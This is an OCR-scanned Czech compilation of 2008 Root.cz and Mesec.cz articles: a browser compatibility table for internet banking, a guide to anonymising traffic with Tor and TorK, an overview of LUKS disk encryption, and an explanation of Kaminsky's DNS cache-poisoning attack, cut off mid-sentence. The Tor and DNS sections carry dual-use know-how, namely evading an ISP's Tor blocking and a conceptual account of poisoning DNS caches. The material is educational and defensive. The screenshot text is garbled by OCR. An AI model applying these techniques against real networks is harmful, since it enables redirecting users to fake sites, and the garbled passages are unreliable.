Pfinejmensim podle nazoru bank je Internetové bankovnictvi nejlepSi cestou spojeni zakaznika a jeho finanéniho
ustavu. A aby i klient byl stejného nazoru, je mu to nalezité vysvétleno nejen letacky a plakaty, ale pfedevsim
poplatky. Kontaktni bankovni sluzby se stavaji stale drazsi a telefonni linka se pomérné dobfe hodi na feSeni
problém, nikoli na kaZzdodenni kontrolu zUstatku na G¢tu a k platebnim transakcim.

Resenim dva prohlize¢e?

Mit tedy dva Internetové prohlize¢e? Jeden na web 2.0 a bézné surfovani a druhy na IB? To se zda byt jako
relativné moudrym, avSak ne zcela pohodinym feSenim. TéméF kazdy uzivatel oceni jistou uniformitu svych
pracovnich prostfedi a pfechazet od jednoho prohlizee k druhému se nejevi jak pravé uniformni a praktické
(i kdyZ asi racionalné nejvyhodné;si).

Zda se, ze prohlize¢ bez Internetového bankovnictvi bude jen t&zko konkurence schopny. | kdyz jedna moznost
zde prece jen je. Pokud budete mit Gcet u bank, ve kterych funguje Google Chrome, pak zadné problémy
nepocitite. Chrome ukazal jeSté na jednu véc. KdyZ se podivame na naSeho bankovniho novacka na trhu,
mBank, tak zatracované, nepohodiné, ale jednoduché prostfedi jejiho Internetového bankovnictvi funguje
a relativizuje tak kritiku smérem k nému.

Prestoze vétSina uzivateld Internetu stale pouZiva hlavné Internet Explorer, takze banky se nemusi citit byt
tlaCeny k vétSi podpofe alternativnich prohlize¢, mohly by jejich podporu vnimat tfeba jako svoji prestiz,
konkurencni vyhodu ¢i pfidany servis pro klienty. Co to znamena dobré Internetové bankovnictvi? To je takove,
které si spustite v jakémkoli prohlizeci. K ¢emu jsou pékné ikonky, kdyz se k nému ani nepfihlasite?
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Doplnéni redakce finanéniho serveru Mésec.cz

V tabulce jsou uvedeny v praxi vyzkouSené moznosti pfihlaSeni a ovladani Internetovych aplikaci s nejvice
pouzivanymi prohlizeci.

Aktualizovano 5. 9. 2008:

Podle pFispévku v diskuzi tohoto ¢lanku je nefunkénost Google Chrome a dalSich prohlize¢u u Internetového
bankovnictvi CSOB a Postovni spofitelny zpiisobena absenci certifikatd I. CA. Stadi tyto certifikaty nainstalovat

podle navodu banky a Internetové bankovnictvi poté funguje bez problémd.

V pfipadé bank a druzstevnich zaloZen jde o Internetové bankovnictvi. U ostatnich spoleénosti jde o Internetové
aplikace pro ovladani zakaznickych G¢td.

Cely Clanek i s diskusi je mozné najit na http://www.mesec.cz/clanky/google-chrome-jak-dulezity-je-prohlizec-pro-
ib/.

Funkénost Internetovych aplikaci v prohlize€ich (stav k 5. zaii 2008 )

Finanéni instituce 8:) ogle Internet Explorer Opera Firefox
rome
BAWAG Bank OK OK OK OK
CcCs OK OK OK OK
Citibank OK OK nefunkéni OK
Commerzbank OK OK OK OK
CsoB OK OK OK OK
Ceska spofritelna OK OK OK oK
Diners Club OK OK OK OK
Fio OK OK OK OK
GE Money Bank OK OK OK OK
HSBC Bank s omezenim OK OK OK
ING Bank OK OK OK OK
J&T BANKA OK OK OK OK
Komercni banka nefunkéni OK OK OK
mBank OK OK OK OK
Moneybookers OK OK OK OK
Oberbank OK OK OK OK
PayPal OK OK OK OK
PaySec OK OK OK OK
Postovni spofitelna OK OK OK OK
Raiffeisenbank OK OK OK OK
Raiffeisenbank im Stiftland nefunkéni OK OK OK
Raiffeisen stavebni spofritelna OK OK OK OK
UniCredit Bank OK OK OK OK
Volksbank CZ nefunkéni OK OK OK
Volksbank Lobau-Zittau OK OK OK OK
Waldviertler Sparkasse nefunkéni oK nefunkéni TabOK s doplikem IE
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4  Vybér toho nejzajimavéjsiho o Internetové bezpeénosti ze serveru Root.cz
v roce 2008

41 NaInternet anonymné nejen s Firefoxem

Pavel Chalupa - 18. .3. 2008

O siti Tor jste si jiz mohli na Rootu pfecist dva ¢lanky. Jeden vysvétloval samotnou technologii Toru a druhy
ukazal pouziti Toru s Firefoxem pro anonymni prohlizeni webu. Tento Clanek je ndvnadou na vyzkou$eni GUI pro
Tor s nazvem TorK. S jeho pomoci mizZete pouZivat Tor na SSH, IRC, e-mail a dalsi.

Tor projekt jiz nabizi jeSté ne zcela finani verzi (RC) klientského software pro sit Tor a to v€etné balickd pro
nejznamé;jsi distribuce. Oproti stabilni fadé 0.1.x nabizi nova verze 0.2.x nékteré dalsi funkce, které dokaze
vyuzit a nastavit grafické rozhrani TorK. Pro anonymizaci je pouzito klasické spojeni Tor a proxy serveru Privoxy.

Nainstalujete si tedy Privoxy a Tor z fady 0.2.x. Neprovadéjte Zadnou konfiguraci ani Toru ani Privoxy. V3e se
provadi pomoci privodce pfi prvnim spusténi TorK. Nastaveni Privoxy i Tor nechte ve vychozim nastaveni pro
ruéni spousténi. Dejte si pozor na volbu modu, ve kterém bézi Tor. Vychozi volba spousti Tor nejen v mddu
klienta, ale i jako server. Tuto volbu mizete pozd&ji zménit v hlavnim okné TorKu. Pokud méte vefejnou IP adresu
a dostatecné silnou linku, mizete fungovat jako server. Serverl bylo v dobé psani ¢lanku asi 2200. Rozvoji sité
Tor muzete provozem serveru pomoci, ale myslete na to, Ze jakakoliv anonymni Cinnost, kterou lze
prostfednictvim sité Tor provadét, mize byt provadéna z vasi IP adresy, pokud funguijete jako vystupni bod Toru.
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A nyni podrobné k vyuZiti anonymizace pro jednotlivé aplikace. TorK vam nabizi relativné pfimocaré nastaveni,
aniz byste potfebovali extra znalosti. Jediné, co se da vytknout, je nelplny pfeklad do &estiny. Nékteré popisky
a texty v TorKu jsou stale v angli¢ting. Co se tyka funk&nosti GUI, nenarazil jsem na néjaky zasadni problém.

Firefox

Princip pouziti Toru s Firefoxem jsem jiz popsal v samostatném ¢lanku. Pomoci TorKu si nastavite Firefox
naprosto doslova a do pismene jednim kliknutim. Dojde ke staZeni pluginu Torbutton a mizete surfovat.

23 Addresw prope Four IeLetnel Conneciion 1168137 208 - showerme, o < - Mo |

Saubor Upragvy Zobrazit Histone Tdlgdky Nistroje HipoySds

- IE ‘t‘ B g twowew showryip.cem! AT NI

81.169.137.209

Raal-Tima Tor Datacton Service has found 81,169,137 2059 15 Thu, 13 Mar 2008 10:46:42 GMT
a Tor Nabwork et node 1
nicdkname chaoscomputardub23; nunning Tor 0,2.0,18-alpha | Shortcuts =

(r13203) on FreaBsD (386

at Hosk Name toranonymezer.iocde

80 you appear ba b in DE-Garmary [Barlin [H:riIimHI
throwgh Intarnst Service Provider {189 Strate
Rachanzsntrum [or possibly Strate Rechenzentrum Berfin)

| Sparsarad Links =

® Want to see all your IP Address Proparties? Clik hane Bo relosd with versior=full paramatar,

mcluding your [P Address BB( status

& Want to lookup someone élse’'s [P Addrass Propertias) You can do ehat a8

foalups showmyip com, iInduding their BBL status. We also have loolups in XML, S08P, and simple

taut formats,

® Tt appears that you are & Tor Matwork Prosy (in Germary) BEL

® asam how geospoofing by mickaprosy com will allaw you to appear to bain 3 different

geagraphic lscabon with a different 1P &ddress =
L [

Hatovo Tor Enablsd

Konqueror

TorK je KDE aplikace, a tak neprekvapi integrace anonymizace do Konqueroru. Zaroved s Konquerorem je
nastaven klient pro sit BitTorrent KTorrent, kde je nastavena anonymni komunikace s trackerem a vyhledavani.

Anonymni e-mail

Pro anonymni e-mail je pouzit software Mixminion. Mixminion staci mit nainstalovany jako baliek pro danou
distribuci. V TorKu pak staci kliknutim na obalku odeslat e-mail. Mixminion se pfi pokusu o prvni odeslani sam
nakonfiguruje a e-mail odeSle. Pokud pouzijete moznost instalace Miximionu, kterou nabizi TorK, dojde ke
stazeni posledni verze a pokusu o instalaci. Zda se to na konkrétnim cilovém systému podafi, zalezi na spousté
okolnosti, ale to asi nema cenu rozvadét.

Skryté sluzby - lokalni webovy server

Muzete si vytvofit skryty webovy server. Pfi vytvarfeni této skryté sluzby si stahnete thttpd a privodce se jej
pokusi zkompilovat. J& jsem opét pouZil hotovy bali¢ek pro mou distribuci. Podafilo se mi vytvoiit a spustit
anonymni web http://jmeno.onion, kde ,jmeno* je nékolik nahodnych znaku. Postup je 1. spustit sluzbu,
2. uvefejnit sluzbu, 3. vyzkouSet sluzbu. Bohuzel ve fazi uvefejnéni, kdy dochazi k distribuci doménového jména
do sité Tor, doSlo k chybé. TakZe nasledny pokus o pfistup k webu skonéil pfi pokusu o preklad doménového
jména. Bohuzel.

Kopete IM
Instantni kecalek Kopete je mozné spustit jako anonymni sezeni. BohuZel pfi spusténi se zobrazi nastaveni
s vaSimi kontakty. Aby bylo mozné byt anonymni, t8Zko muzete pouzit stavajici nastaveni. O anonymizaci jste

informovani v zahlavi okna textem ,Anonymous IM Session - Launched From TorK*. S Kopete mate moznost se
pfipojit do siti AIM, ICQ, MSN, Yahoo, Jabber, IRC, Gadu-Gadu a dalSich.
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IRC

Pro anonymni pfipojeni k IRC muzete pouzit Konversation. IRC server vas bude identifikovat jako uZivatele ze
sité Tor. Sama tato skuteCnost vas vSak mlze diskvalifikovat od samotného pfipojeni k IRC serveru, protoze
spravce serveru nemusi takové spojeni dovolit.

SSH a Telnet

Anonymné prostiednictvim sité Tor mlzete pouzivat i SSH (pravdépodobné méné jiz Telnet) a anonymné se
pfipojovat. Napada mé v3ak spiSe jen nelegalni vyuziti.

Nastaveni identity

Pomoci TorKu mizete jednim kliknutim zménit identitu na novou. MlZete dokonce pfifadit konkrétni narodnost,

pokud si nainstalujete balicek GeolP. Zvolite-li Ceskou republiku jako identitu, web showmyip.com vam vypide:
,It appears that you are a Tor Network Proxy (in Czech Republic)".

Anosymizace | B Twr | Zaomam Tan: | Zgemam o

Frogram  Heaior & Spesd

IARL R LN N

FoulerwE Ry Toard

Blokovani pouziti Toru

TorK umoziuje jednoduSe obejit blokovani Toru poskytovatelem pfipojeni k Internetu. Zadate porty, které jsou
povolené, a mate po problému. Pfipadné mlzete zadat pfimé spojeni na néktery Tor server, pokud je blokovana
cela sit.

Dva zabezpecené rezimy

Zabezpe€eny rezim prekladu doménovych nazvi sméruje vSechny pozadavky na DNS resolve pres sit Tor. Déje
se tak systémovym nastavenim pomoci iptables. Stejnym zplisobem (také pres iptables) je nastaven
zabezpeceny systémovy rezim, kdy dochazi k pfesmérovani pozadavki HTTP, HTTPS, POP3 a SSH pres sit
Tor. Zabezpegeny rezim si sami v TorKu mlZete doplnit vlastnim radkem iptables a nasledné jej v grafickém
rezimu interaktivné zapinat a vypinat.
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Tor server

Stejné jako jiné moZnosti sité Tor je velice jednoduché zprovoznit Tor server pomoci TorKu. Je to v podstaté
vychozi nastaveni. Pokud chcete z nastaveni ,pouze klient* prejit do konfigurace ,klient a server* doporuduji
spustit znovu privodce nastavenim z nabidky Nastroje. Jako server mlzete fungovat jako vystupni, pfeposilaci
nebo jako uzel zabrafujici zdkazu Toru. Jak jsem jiz zminil, vystupni uzel v sobé nese urCita rizika. VSechny
moznosti nastaveni a konfigurace jsou zf'ejmé pfimo z grafického rozhrani.

Sledovani provozu sité

Hlavni okno TorKu nabizi &tyfi zalozky. Prvni jiz byla vySe popsana a tyka se anonymizace a spousténi
jednotlivych aplikaci s vyuZitim sité Tor. Dal3i tfi zaloZky vam umozni sledovat celou sit, jednotlivé uzly a provoz
v siti. MuZete dokonce pomoci drag'n'drop manipulovat s uzly v siti a vytvaret si viastni okruhy.

Zavérem

Klient pro sit Tor se neustale vyviji. Pfi psani ¢lanku bylo pouzita jedna z poslednich vyvojovych verzi dostupna
na webu Tor projektu. Vyvoj grafického rozhrani TorK drzi krok s aktualni vyvojovou verzi Tor a pokud pouzijete
dostupnou stabilni verzi Tor klienta, budete TorKem upozornéni na nedostupnost nékterych funkci. Mnozstvi
server( v siti Tor neni nijak zavratné (asi 2200), pfesto je sit jiz mnohem Iépe pouzitelna, nez pfi psani ¢lanku
o pouziti Toru pouze s Firefoxem. Tehdy se webové stranky mnohdy zobrazily az na nékolikaty pokus. Nyni je
mozné pii troSe Stésti dosahnout rychlosti 10 KB/s pfes HTTP protokol, coz se mi stalo pfi psani tohoto €lanku.
Popfejme tedy siti Tor alespori stejné dynamicky rozvoj, jaky zaznamenala za posledni dva roky. Grafické
rozhrani TorK by tomu mohlo vzhledem ke své jednoduchosti vyrazné napomoci.

Cely &lanek i s diskusi je mozné najit na http://www.root.cz/clanky/na-internet-anonymne-nejen-s-firefoxem/.

4.2 Proc a jak na Sifrovani diskii v Linuxu?

Michal Doéekal — 22. 5. 2008

Chtéli byste si v GNU/Linuxu zasifrovat celé disky ¢i diskové oddily a pfemyslite, kudy na to viastné jit? V tomto
¢lanku si pfedstavime nativni linuxové feseni dm-crypt/LUKS. Podivame na to, co je dm-crypt a LUKS a budeme
se vénovat pfedevsim teoretickému tvodu do diskového Sifrovani.

Jesté pfed nedavnem existovalo vedle sebe vice implementaci diskového Sifrovani v GNU/Linuxu (jmenovité
cryptoloop, loop-aes, dm-crypt), pfiemz jednotlivé implementace riizné bojovaly s nékterymi problémy diskového
Sifrovani v oblasti bezpegnosti. V soutasné dobé je standardem dm-crypt.

Dm-crypt je nativni soucasti Linuxu, vyuziva linuxové CryptoAPI a device mapper. K praci s dm-cryptem slouzi
utilita cryptsetup. Dm-crypt méa vSak sam o sobé stale nékolik nevyhod. Jedna se o nizkouroviiovy nastroj, ktery
nezajistuje spravu hesel (jednomu zafizeni tedy naleZi pouze jedno heslo), neuchovava si informace o pouzité
Siffe, hashi a Sifrovacim médu a neimplementuje Zadny mechanismus pro zjiSténi, zda bylo zadano spravné
heslo (coz vSak miZze byt v nékterych pfipadech i vyhodou).

Tyto problémy feSi LUKS, Linux Unified Key Setup, ktery je implementovan jako upraveny (avSak zpétné

kompatibilni) cryptsetup (v nékterych distribucich je pfitomen jako cryptsetup-luks, jinde je k dispozici jako
cryptsetup). LUKS si miZzeme predstavit jako nadstavbu dm-cryptu. Kazdy disk/oddil, ktery zaSifrujeme pomoci
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LUKS, je vybaven hlavi¢kou s pouZitou Sifrou, hashi, Sifrovacim mddem a kontrolnim souétem hlavniho klie (viz
dale).

Spravu hesel feSi LUKS prostiednictvim dvoulroviiového Sifrovani, kdy se disk/oddil Sifruje nahodné
vygenerovanym silnym klic¢em (master key), ktery je pak zaSifrovan nékterym z (maximalné osmi) uzivatelskych
klicd. Tyto klice se odvozuji metodou PBKDF2, ktera zvySuje bezpeénost slabSich hesel. Tato metoda je
v souCasné implementaci LUKS vazana na hashovaci algoritmus SHA-1. To je v sou¢asné dobé asi jediné slabé
misto LUKS. Ackoliv se zda, Ze o moznost pouzit pro odvozeni kliCe i jiné algoritmy zajem je, dosud se nenasel
nikdo, kdo by tuto funkci implementoval.

Pomoci LUKS muizeme snadno zménit heslo, aniz bychom museli oddil presifrovat. Stejné tak mizeme pouzit
vice hesel, a umoznit tak pfistup na zaSifrovany disk/oddil vice uzivatelim. Mizeme také pouzivat klice ze
soubort (keyfiles), které pak mlzeme umistit tfeba na flashdisk nebo na jiny zaSifrovany oddil. Moznosti je
mnoho.

Diskové Sifrovani

Jesté neZ se pustime do vlastniho Sifrovani diskd/oddild, si povime néco o diskovém Sifrovani. Pfedesilam, Ze
nejsem kryptolog, takze ne vSechno vim a ne v§emu rozumim. Pokusim se fici to nejnutnéjsi, co by bylo dobré
védét, abyste nebyli vystaveni faleSnému pocitu bezpedi.

Predpokladam, Zze nemusim pfili§ rozvadét to, ze diskové Sifrovani je nastrojem fyzického zabezpeceni dat
a uzivatele nijak neochrani v situaci, kdy je Sifrovany disk/oddil pfipojeny a na vas$ stroj se zrovna proboural
utoénik ze sité.

Diskové Sifrovani se od Sifrovani souborl ¢&i zprav liSi ve dvou rovinach. Pfedné, Sifruje se Fadové mnohem vice
dat (zejména v dnesni dobé, kdy uz se bézné prodavaji 1TB disky). Za druhé, Sifruji se data a datové struktury
(napf. souborovy systém), ktera maji jisté oekavatelné charakteristiky, které mohou usnadnit kryptoanalyzu,
pokud se nepouzije ten spravny Sifrovaci mod (viz déle), ktery pomuZze tyto charakteristiky skryt. Za tfeti, pokud
pouzivame Sifrované a neSifrované souborové systémy pro rizna data, musime zajistit, aby data ur€ena
k Sifrovani "neprosakovala" v neSifrované podobé mimo Sifrované souborové systémy.

Sifry

Sifrovacich algoritm je cel4 fada a vybér mezi nimi byva spi$e subjektivni otazkou. Rozhodné bych se vyhnul
star§im algoritmim (des, tripple-des, blowfish, apod.). Velmi Casto se pro diskové Sifrovani vyuzivaji AES
(Rijndael) nebo AES finalisti (Twofish, Serpent, RC6 a MARS). V Linuxu nalezneme implementace v3ech
zminénych. Pokud je vaSim kritériem rychlost, je nejvhodnéjsi AES, jehoz implementace je nejrychlejsi. Je-li
vasim primarnim kritériem bezpeénost, doporuduji se na jednotlivé algoritmy podivat podrobnéji a rozhodnout se,
ktery z nich je pro va$e potfeby vhodnéjsi.

Sifrovaci mody

Jak uZ bylo feCeno, k diskovému Sifrovani se pouzivaji blokové Sifry, tzn. data se Sifruji po blocich o stejné
velikosti. ZaSifrujeme-li dva identické bloky stejnym heslem, dostaneme dva identické bloky Sifrového textu.
Pokud bychom méli fragment souborového systému se samymi nulami, po jejich zaSifrovani bychom tedy dostali
nékolik stejnych blokl Sifrového textu. To by poskytlo Gtoénikovi cenné informace.

Abychom tomu zabranili, pouzivame Sifrovaci mady, které by mély zajistit, Ze utoénik nebude schopen takto

ziskat zadné informace. Béznym Sifrovacim mdédem je CBC (Cipher Block Chaining), ktery se vyuZiva i pro
diskové Sifrovani. Nanestésti neni tento Sifrovaci méd navrzen pro diskové Sifrovani. Casem byla nalezena
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nejedna zranitelnost tohoto Sifrovaciho médu. CBC tedy doporucuiji se vyhnout, pokud muzete. Pokud z néjakého
ddvodu nemate na vybér a musite pouzit CBC, pouZijte alespont ESSIV (cbc-essiv).

Pro diskové Sifrovani jsou vhodné predev§im LRW a XTS, pficemz LRW se z dlivodu objevené bezpeénostni
slabiny v souCasnosti nahrazuje médem XTS. Oba Sifrovaci médy jsou k dispozici v linuxovém CryptoAPIl. LRW
je k dispozici v jadfe 2.6.20 a vySe, XTS je k dispozici od verze 2.6.24 vySe. Nejbezpecnéjsi z uvedenych a mnou
doporucovany Sifrovaci mdd je tedy XTS.

Unik sifrovanych dat

Zfejmé& nejvice podcenovand oblast v ramci (nejenom) diskového Sifrovani je pravé moznost Uniku
(de)ifrovanych dat (nebo informaci o nich) mimo Sifrované oddily. To se mize stat pomérné snadno, tfeba pokud
pro /tmp nepouzivdme ani tmpfs, ani Sifrovany oddil. Staci, aby si néjaky program do /tmp odloZil n&jaké docasné
soubory obsahuijici utajovany material, se kterym zrovna pracujeme.

Kritickym mistem je v kazdém pfipadé swap, do kterého se mohou dostat kusy paméti s materidlem ze
Sifrovanych oddilG (v deSifrované podobé). Swap je tedy nutno bud vypnout, nebo také Sifrovat, nejlépe
nahodnym heslem generovanym pfi kazdém startu systému.

Pokud mame Sifrovany oddil na magnetickém médiu (napf. pevném disku), musime také uvazovat o moznosti
rekonstruovat pfedchozi vrstvy zdznamu. Pokud se rozhodneme zaSifrovat néjaké data, ktera jsme méli dfive
nesifrovana na magnetickém médiu, bylo by vhodné provést bezpeény vymaz takového zafizeni (k tomu se hodi
tfeba utilita shred).

Zaplnéni oddilu nahodnymi daty

Pred vlastnim vytvofenim zaSifrovaného oddilu byva vhodné pfislusny oddil zapinit ndhodnymi daty, ¢imz se
0 néco zvysi bezpecnost celého feSeni — UtoCnik pak (v idealnim pfipadé) neni schopen odliSit, kde jsou
zaSifrovana data a kde je pouze shluk nahodnych bytl, coz ¢ini pfipadny Utok na zasifrovany oddil obtizngjSim.
Efekt tohoto kroku je pak pfimo Umérny kvalité generatoru nahodnych Cisel. Jak zapinit oddil ndhodnymi daty
a jaké generatory nahodnych ¢isel mizeme pouzit, to si fekneme pozdg;ji.

Zasifrovani celého systému

Zasifrovat cely linuxovy systém pomoci LUKS mozné je, s vyjimkou zavadéce, jadra a inicialniho ramdisku (ktery
potfebujeme k zavedeni potfebnych modull a skriptu, ktery nam umozni zpfistupnit Sifrovany root). S tim je
spojena jedna moznost Utoku na Sifrovany systém — modifikovanim jadra &i zavadécich skriptu, které po Upravé
utocnika zachyti heslo a nékam ho ulozi ¢i odeslou.

MoZnosti feSeni této bezpednostni hrozby jsou dvé. Bud umistime neSifrovany /boot na flashdisk, ktery budeme
mit bezpeéné uloZeny, nebo si vytvofime skript, ktery spocte kontrolni soucty pfisluSnych souborl a upozorni nas
v pfipadé jejich zmény. Tato opatfeni samoziejmé zavisi na charakteru Sifrovanych dat a Urovni nasi paranoie.

Stinné stranky diskového Sifrovani

Diskové Sifrovani pfinasi kromé jistych vyhod i fadu nevyhod. Pfedné, je velmi jednoduché pfijit o Sifrovana data
(sta€i zapomenout heslo, nebo, v pfipadé LUKS, pfepsani hlavicky s ulozistém uZivatelskych kli€d). Diskové
Sifrovani také zkomplikuje veSkeré zachranné operace v pfipadé HW problému s médiem (silné tedy doporuuji
zalohovat). Chyba v jediném bitu zptsobi minimalné ztratu celého bloku. V tomto kontextu je vhodné zminit, Ze je
mozné pouzit $ifrovani nad jakymkoliv RAID polem, tfeba nad jednigkou (zrcadleni). Sifrovani také o néco
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zpomaluje diskové operace (Etenif/zapis), respektive €ini je zavislymi na CPU. Vy3Si zatéz CPU znamena vétsi
spotfebu a vy$si teplotu, coz se podepiSe tfeba na Zivotnosti baterie laptopu nebo na Uétu za elektfinu.

Aby naSe snaha zabezpedit Sifrovand data nepfiSla nazmar, musime brat Sifrovani vzdy v potaz. Pokud
zalohujeme, urcité bychom méli vytvaret zalohy Sifrované. Uplné nejhorsi je nechat nesifrované zalohy na stole
vedle pocitace s Sifrovanym systémem. V takovém pfipadé Sifrovani nema vibec Zadny smysl.

Dopad Sifrovani na diskové operace

Je jasné, Ze Sifrovani zatizi procesor, takze ¢im rychlejSi procesor mate, tim méné budou diskové operace
omezené. Rlzné Sifrovaci algoritmy jsou navic rizné rychlé, takze ¢im rychlejsi algoritmus (resp. jeho
implementaci) zvolite, tim vice MB/s zvladne procesor zpracovat. Aby to nebylo tak jednoduché, nékteré
algoritmy (tfeba Rijndael a Twofish) maji vice implementaci optimalizovanych na rizné platformy (i586, x86_64).
Je tedy vhodné zajistit, Ze se nahraje modul s témi optimalizacemi, které vaSe platforma zvladne.

Na mé sestavé s Athlonem 64 (s 32bitovym systémem) taktovanym na 2,0 GHz je poradi algoritmi v zavislosti na
vykonu nasledujici (hodnoty jsou primérné ziskané fadou pokusu):

Vykon jednotlivych algoritm:
Algoritmus ~ MB/s

Rjindael 37,35
Serpent 31,95
Twofish 26,25
Anubis 21,40
CAST6 20,9

Hodnoty je samoziejmé nutné brat Cisté orientaéné, neb jsou svazany s procesorem mé sestavy, ale Ize z nich
vyCist, které algoritmy (resp. jejich implementace) jsou rychlej$i nez ostatni. Nejrychlejsi z pouZitych algoritmd je,
jak vidime, Rijndael (AES), v tésném zavésu je Serpent, Twofish je na tom o néco hure a Sifry jako Anubis
a CASTG6 jsou spolehlivé nejpomalejsi.

Vzhledem k charakteru pevnych diskl je jasné, Ze nejvétsi zatéZ bude Sifrovani zplsobovat pfi sekvenénim
Ctenilzapisu, tj. pfi kopirovani velkych souborl (nejlépe z jednoho Sifrovaného oddilu na jiny Sifrovany oddil).
Naopak ve chvili, kdy bude pevny disk provadét nahodné ¢teni/zapis (pfi praci s velkym poétem malych soubor(
rozesetych po celém disku), bude zatéZ zplsobena Sifrovanim minimalni (zdrzovat bude pevny disk).

dopad Sifrovani ani pfi hrani her jako Doom Il a UT2004, natoz pfi bézné kancelarské praci (prohlizec,
kancelaiské baliky). Jediné misto, kde vidim potencialni problém, je pfi vypalovani DVD, kdy se de facto provadi
(témé¥) sekvenéni ¢teni, avSak i to ma sestava utahne (byt s pomérné zatizenym procesorem).

Cely &lanek i s diskusi je mozné najit na http://www.root.cz/clanky/proc-a-jak-na-sifrovani-disku-v-linuxu/
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4.3 Dan Kaminsky a jeho utok na DNS servery

Petr Krémar — 12. 8. 2008

Na bezpecnostni konferenci Black Hat v roce 2008 vystoupil také Dan Kaminsky, ktery popsal novy zptsob utoku
na DNS cache, ktery umoZiuje ttocnikovi pfesmérovat uZivatele na cizi server. Ceska média o problému prilis
neinformovala. Jak ttok funguje, co miZe zpusobit a pfedevsim jak se mu mizeme branit?

Systém DNS je tu s nami uz 25 let a jeho prvni implementace byla napsana v roce 1983. Patfi do stejné skupiny
jako napfiklad poStovni protokol SMTP. Maji nékolik spoleénych vlastnosti: jsou velmi jednoduché, velmi staré,
velmi rozsifené a také velmi nezabezpedené.

V dobé, kdy tyto protokoly vznikaly, se nepfedpokladalo, Ze by jejich pouZiti narostio do dnesnich rozméru a jejich
vyvojafi tak pfili§ nefeSili autentizace, zabezpeeni, kontrolu podvrZzenych informaci a podobné. Prestoze byly
protokoly i jejich implementace postupem ¢asu vylepSovany, jesté dnes se mlze objevit zcela novy zpusob Gtoku.

Klasické otraveni DNS

Nez si popiSeme samotny Kaminského utok, musime se nejprve vénovat ,tradicnimu® napadeni DNS, kterému se
anglicky fika ,DNS cache poisoning“ neboli otraveni DNS cache. Po UspéSném provedeni jsme schopni
dlouhodobé pfesmeérovat uZivatele na jiny server, nez na ktery standardné mifi pivodni doména.

Vyuziva se pfi tom nékolika slabych vlastnosti DNS protokolu a existence takzvanych DNS cache serverl. Ty
jsou obvykle umistény u Internetovych poskytovatelll a obsahuji jen velmi malé mnoZzstvi informaci o DNS, které

vrooviv

byly ziskany drivéjSimi dotazy uzivatell.

Chceme-li navazat komunikaci s pocitatem na konkrétni doméné, kontaktujeme na$ DNS server, ktery je
u poskytovatele a dotdzeme se na IP adresu stroje, ktery nas zajima. ProtoZze DNS cache samotna adresu
nezna, zepta se pfisluSnych DNS v Internetu. Nakonec nam odpovi a zjisténou odpovéd si zapamatuije. PFisté uz
na stejny dotaz odpovi pfimo.

Utoénik, ktery chce presmérovat uzivatele napiiklad ze serveru elektronického bankovnictvi na svij viastni
poCitaC (na kterém je faleSny pfihlaSovaci formulaf) mize zminénou DNS cache otravit tak, ze ji podvrhne
faleSné informace o DNS zaznamech. Ty si cache zapamatuje a pak je pfedava svym uzivatelim, ktefi netusi, ze
dostavaji doopravdy zcela jiné IP adresy, nez které patfi bankovni instituci.

Technicky probiha komunikace klienta s cache takto:

= Klient kontaktuje svou DNS a pozada o pfeloZeni doménového jména. Komunikace probiha po UDP
a dotaz obsahuje: zdrojovy port, IP adresu a transakéni ID.

= Klientova DNS odpovéd nezna a proto se rekurzivnimi dotazy (stejnym UDP protokolem) zepta servert
na Internetu.

= QOdpovéd je vracena klientovi a je uloZzena jak u klienta, tak i u samotné cache.

Podstatné oviem je, Ze ve tfetim kroku se kontroluje sprévnost transakéniho ID, coZ je dodatkovy bezpeénostni
mechanismus, ktery zabrafuje jednoduchému podvrzeni informaci. Kromé toho se kontroluje také zminény
zdrojovy port a zdrojova IP adresa odpovédi. Tyto tfi informace funguiji jako jednoducha autorizace.

Transakeni ID sehrava dulezitou roli, jedna se o dvoubajtové Cislo a kazdy pozadavek je tak oznaCen jednim ze

65536 moznych ID. Pokud se €islo v dotazu a odpovédi neshoduje, povazuje zadatel odpovéd za podvrzenou
a zahodi ji.
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Utoénik tedy musi Gekat, aZ se server zacne dotazovat na neznamy zaznam a miize se pokusit odpovéd
podvrhnout a doufat pfi tom, ze se trefi do spravného ID, portu a dalSich daj.

Tento typ DNS cache utoku je znam uz velmi dlouho a vyplyva z principu samotného protokolu a chovani DNS.
Neni povazovan za pfili§ velkou hrozbu, protoze vzhledem k Udajim, které musi Utoénik zaslat a uhodnout, je
velmi nepravdépodobné, ze se utok zdafi.

Navic existuje relativné kratka doba, béhem které je tfeba utok provést. To je doba, béhem které serveru vyprsi
udaj TTL, coz je hodnota, ktera udava, jak dlouho mize byt zaznam v cache udrzovan. Poté musi byt znovu
nacten ze serveru. Zasypavat server faleSnymi odpovédmi v dobé, kdy zna spravny Udaj, je zcela zbytecné.

Varianta Dana Kaminského

Dan Kaminsky odhalil podstatné vylepSeni u vySe uvedeného Utoku tim, Ze pfi aplikaci jeho postupu neni tieba
¢ekat na vyprseni TTL, ale faleSny zdznam se podafi do DNS cache propaSovat v podstaté kdykoliv, kdy je to
potieba.

Pouziva pfi tom jiné vlastnosti DNS protokolu: GLUE zédznamu a sekci AUTHORITATIVE a ADDITIONAL. Tyto
polozky v DNS odpovédi umoziuji tazateli pfidat dalSi ddlezité informace jako jsou napfiklad udaje o IP adresach
DNS server(, které se staraji o konkrétni doménu. DNS server tak mlize tazateli fici, Ze odpovéd nezna, ale vi
o serveru, ktery ji umi poskytnout.

Bez dodateCnych sekci v odpovédi bychom se ale mohli dostat do situace, kdy se ,brejle bez brejli Spatné
hledaji“. Pokud se napfiklad zeptame kofenového DNS serveru na IP adresu konkrétni domény, ten ném odpovi,
Ze netusi, ale mame se zeptat serveru ns1.example.com. V tu chvili bychom byli bezradni, protoze nezname IP
adresu tohoto serveru, a tak se ho nemuizeme na zadnou IP adresu zeptat (aneb ,Jaké ma Jirka Cislo? Nevim,
zavolej mu a zeptej se.”)

Doopravdy by tedy vypadala odpovéd serveru asi takto:

;; ANSWER SECTION:
www.example.com. 120 IN A 192.168.1.10

;; AUTHORITY SECTION:
example.com. 86400 IN NS ns1.example.com.
example.com. 86400 IN NS ns2.example.com.

;; ADDITIONAL SECTION:
ns1.example.com. 604800 IN A 192.168.2.20
ns2.example.com. 604800 IN A 192.168.3.30

V AUTHORITY sekci se dozvidame, které servery se o doménu staraji a v ADDITIONAL sekci si pak mizeme
preCist jejich IP adresy. Cesta dal je tedy jasna. Tazatel se dozvédél (a zapamatoval si), Ze IP adresa
www.example.com je 192.168.1.10.

Kaminsky ovSem pfiSel na zplisob, jak v DNS cache tento zaznam kdykoliv zménit, ackoliv jesté nevyprsela jeho
